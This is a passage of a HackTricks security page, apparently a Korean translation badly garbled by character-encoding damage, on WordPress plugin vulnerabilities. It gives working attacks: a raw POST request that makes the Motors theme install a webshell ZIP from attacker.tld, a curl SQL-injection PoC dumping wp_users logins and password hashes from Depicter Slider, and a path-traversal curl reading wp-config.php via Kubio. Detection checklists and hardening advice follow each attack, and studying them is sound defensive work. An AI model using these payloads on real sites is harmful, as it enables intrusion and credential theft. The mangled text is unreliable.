Patchstackโs analysis๊ฐ Motors theme์ด ๋๋ฐ ํ๋ฌ๊ทธ์ธ์ ์ค์นํ๊ธฐ ์ํ ์ธ์ฆ๋ AJAX ํฌํผ๋ฅผ ์ ๊ณตํ๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ฃผ์์ต๋๋ค:
add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');
function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');
$plugin_url = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';
$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
- ์ค์ง
check_ajax_referer()๋ง ํธ์ถ๋๋ฉฐ;current_user_can('install_plugins')๋current_user_can('activate_plugins')๋ ์๋ค. - ํด๋น nonce๋ Motors ๊ด๋ฆฌ์ ํ์ด์ง์ ํฌํจ๋์ด ์์ด,
/wp-admin/์ ์ ๊ทผํ ์ ์๋ ๋ชจ๋ Subscriber๋ HTML/JS์์ ์ด๋ฅผ ๋ณต์ฌํ ์ ์๋ค. - ํธ๋ค๋ฌ๋ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋
pluginํ๋ผ๋ฏธํฐ($_GET์์ ์ฝ์)๋ฅผ ์ ๋ขฐํ์ฌPlugin_Upgrader::install()์ ์ ๋ฌํ๋ฏ๋ก, ์์์ ์๊ฒฉ ZIP์ดwp-content/plugins/๋ก ๋ค์ด๋ก๋๋๋ค. - ์ค์น ํ ํ
๋ง๋ ์กฐ๊ฑด ์์ด
mvl_theme_activate_plugin()๋ฅผ ํธ์ถํ์ฌ ๊ณต๊ฒฉ์ ํ๋ฌ๊ทธ์ธ์ PHP ์ฝ๋ ์คํ์ ๋ณด์ฅํ๋ค.
Exploitation flow
- ์ ๊ถํ ๊ณ์ (Subscriber๋ฉด ์ถฉ๋ถํจ)์ ๋ฑ๋กํ๊ฑฐ๋ ํ์ทจํ๊ณ Motors ๋์๋ณด๋ UI์์
mvl_theme_install_basenonce๋ฅผ ํ๋ํ๋ค. - ์ต์์ ๋๋ ํ ๋ฆฌ๊ฐ ์์๋๋ ์ฌ๋ฌ๊ทธ
motors-car-dealership-classified-listings/์ ์ผ์นํ๋ plugin ZIP์ ๋ง๋ค๊ณ ,*.php์ง์ ์ ์ backdoor ๋๋ webshell์ ํฌํจ์ํจ๋ค. - ZIP์ ํธ์คํธํ๊ณ ํธ๋ค๋ฌ๋ฅผ ๋น์ ์ URL๋ก ์ง์ ํ์ฌ ์ค์น ํ๋ก๊ทธ๋จ์ ํธ๋ฆฌ๊ฑฐํ๋ค:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded
action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip
ํธ๋ค๋ฌ๊ฐ $_GET['plugin']์ ์ฝ๊ธฐ ๋๋ฌธ์ ๋์ผํ ํ์ด๋ก๋๋ ์ฟผ๋ฆฌ ๋ฌธ์์ด์ ํตํด์๋ ์ ์ก๋ ์ ์์ต๋๋ค.
ํ์ง ์ฒดํฌ๋ฆฌ์คํธ
- ํ
๋ง/ํ๋ฌ๊ทธ์ธ์์
Plugin_Upgrader,Theme_Upgrader, ๋๋install_plugin.php์ปค์คํ ํฌํผ๊ฐwp_ajax_*ํ ์ capability ๊ฒ์ฌ ์์ด ์ฐ๊ฒฐ๋์ด ์๋์ง ๊ฒ์ํ์ธ์. plugin,package,source, ๋๋urlํ๋ผ๋ฏธํฐ๋ฅผ ๋ฐ์ upgrader API๋ก ์ ๋ฌํ๋ ํธ๋ค๋ฌ๋ฅผ ๊ฒ์ฌํ์ธ์. ํนํ ์ฌ๋ฌ๊ทธ๊ฐ ํ๋์ฝ๋ฉ๋์ด ์๊ณ ZIP ๋ด์ฉ์ด ๊ฒ์ฆ๋์ง ์๋ ๊ฒฝ์ฐ ์ฃผ์ํ์ธ์.- ์ธ์คํจ๋ฌ ๋์์ ๋ํ nonce๋ฅผ ๋ ธ์ถํ๋ ๊ด๋ฆฌ์ ํ์ด์ง๋ฅผ ๊ฒํ ํ์ธ์โSubscribers๊ฐ ํ์ด์ง๋ฅผ ๋ก๋ํ ์ ์๋ค๋ฉด nonce๊ฐ leak๋ ๊ฒ์ผ๋ก ๊ฐ์ ํ์ธ์.
๊ฐํ
- nonce ๊ฒ์ฆ ํ ์ธ์คํจ๋ฌ AJAX ์ฝ๋ฐฑ์ ๋ํด
current_user_can('install_plugins')๋ฐcurrent_user_can('activate_plugins')๊ถํ ๊ฒ์ฌ๋ฅผ ์ ์ฉํ์ธ์; Motors 5.6.82๊ฐ ์ด ๋ฒ๊ทธ๋ฅผ ํจ์นํ๊ธฐ ์ํด ์ด ๊ฒ์ฌ๋ฅผ ๋์ ํ์ต๋๋ค. - ์ ๋ขฐ๋์ง ์์ URL์ ๊ฑฐ๋ถํ์ธ์: ์ธ์คํจ๋ฌ๋ฅผ ๋ฒ๋ค๋ ZIP์ด๋ ์ ๋ขฐ๋ ๋ฆฌํฌ์งํ ๋ฆฌ๋ก ์ ํํ๊ฑฐ๋ ์๋ช ๋ ๋ค์ด๋ก๋ ๋งค๋ํ์คํธ๋ฅผ ๊ฐ์ ํ์ธ์.
- nonce๋ฅผ ์๊ฒฉํ CSRF ํ ํฐ์ผ๋ก ์ทจ๊ธํ์ธ์; nonce๋ ๊ถํ์ ์ ๊ณตํ์ง ์์ผ๋ฉฐ capability ๊ฒ์ฌ๋ฅผ ๋์ฒดํด์๋ ์ ๋ฉ๋๋ค.
depicter-* ์ก์ ์ s ๊ฒ์ ํ๋ผ๋ฏธํฐ๋ฅผ ํตํ ์ธ์ฆ๋์ง ์์ SQLi (Depicter Slider โค 3.6.1)
์ฌ๋ฌ depicter-* ์ก์ ์ด s (search) ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฐ์ SQL ์ฟผ๋ฆฌ์ ํ๋ผ๋ฏธํฐํ ์์ด ๋ฌธ์์ด์ ์ด์ด๋ถ์์ต๋๋ค.
- ํ๋ผ๋ฏธํฐ: s (search)
- ๊ฒฐํจ: WHERE/LIKE ์ ์์ ์ง์ ๋ฌธ์์ด ์ฐ๊ฒฐ; prepared statements/์ ๋ ฅ ์ ํ ์์
- ์ํฅ: ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ ์ถ(์ฌ์ฉ์, ํด์), ์ํ ์ด๋
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
ํ์ง ์ฒดํฌ๋ฆฌ์คํธ
- depicter-* ์ก์ ํธ๋ค๋ฌ์ SQL์์ $_GET[โsโ] ๋๋ $_POST[โsโ]์ ์ง์ ์ฌ์ฉ์ grep์ผ๋ก ๊ฒ์
- s๋ฅผ ์ฐ๊ฒฐํ์ฌ $wpdb->get_results()/query()์ ์ ๋ฌ๋๋ ์ปค์คํ ์ฟผ๋ฆฌ๋ฅผ ๊ฒํ
๊ฐํ
- ํญ์ $wpdb->prepare() ๋๋ wpdb placeholders๋ฅผ ์ฌ์ฉ; ์๋ฒ ์ธก์์ ์๊ธฐ์น ์์ ๋ฉํ๋ฌธ์๋ฅผ ๊ฑฐ๋ถ
- s์ ๋ํด ์๊ฒฉํ ํ์ฉ ๋ชฉ๋ก์ ์ถ๊ฐํ๊ณ ์์ ๋ฌธ์์ /๊ธธ์ด๋ก ์ ๊ทํ
์ธ์ฆ๋์ง ์์ Local File Inclusion (๊ฒ์ฆ๋์ง ์์ template/file ๊ฒฝ๋ก๋ฅผ ํตํ) (Kubio AI Page Builder โค 2.5.1)
ํ ํ๋ฆฟ ํ๋ผ๋ฏธํฐ์์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๊ฒฝ๋ก๋ฅผ ์ ๊ทํ/๊ฒฉ๋ฆฌ ์์ด ํ์ฉํ๋ฉด ์์์ ๋ก์ปฌ ํ์ผ์ ์ฝ์ ์ ์์ผ๋ฉฐ, ํฌํจ ๊ฐ๋ฅํ PHP/๋ก๊ทธ ํ์ผ์ด ๋ฐํ์์ ํฌํจ๋๋ฉด ๋๋๋ก ์ฝ๋ ์คํ(RCE)์ด ๋ฐ์ํ ์ ์์ต๋๋ค.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: ์ ๊ทํ/ํ์ฉ ๋ชฉ๋ก ์์; ๋๋ ํฐ๋ฆฌ ํธ๋๋ฒ์ค ํ์ฉ
- Impact: ๋น๋ฐ ๋ ธ์ถ (wp-config.php), ํน์ ํ๊ฒฝ์์ ์ ์ฌ์ RCE (log poisoning, includable PHP)
PoC โ wp-config.php ์ฝ๊ธฐ
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
ํ์ง ์ฒดํฌ๋ฆฌ์คํธ
- realpath() ๊ฒ์ฆ ์์ด ์์ฒญ ๊ฒฝ๋ก๋ฅผ include()/require()/read sinks์ ์ฐ๊ฒฐ(concatenate)ํ๋ ๋ชจ๋ ํธ๋ค๋ฌ
- ์๋๋ templates ๋๋ ํฐ๋ฆฌ ๋ฐ์ผ๋ก ๋ฒ์ด๋๋ traversal ํจํด (../) ์ฐพ๊ธฐ
๋ณด์ ๊ฐํ
- ํ์ฉ ๋ชฉ๋ก์ ์๋ ํ ํ๋ฆฟ ๊ฐ์ ์ ์ฉ; realpath()๋ก ๊ฒฝ๋ก๋ฅผ ํด์ํ๊ณ require str_starts_with(realpath(file), realpath(allowed_base))
- ์ ๋ ฅ ์ ๊ทํ; traversal ์ํ์ค์ ์ ๋ ๊ฒฝ๋ก๋ ๊ฑฐ๋ถ; sanitize_file_name()์ ํ์ผ๋ช ์๋ง ์ฌ์ฉ(์ ์ฒด ๊ฒฝ๋ก์๋ ์ฌ์ฉํ์ง ์์)
References
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset โ delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments โค 5.6.1 โ Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation โ Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025โs most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) โค 1.0.82 โ Privilege Escalation (Patchstack DB)
- FunnelKit Automations โค 3.5.3 โ Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider โค 3.6.1 โ Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder โค 2.5.1 โ Unauthenticated LFI (Patchstack DB)
- Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


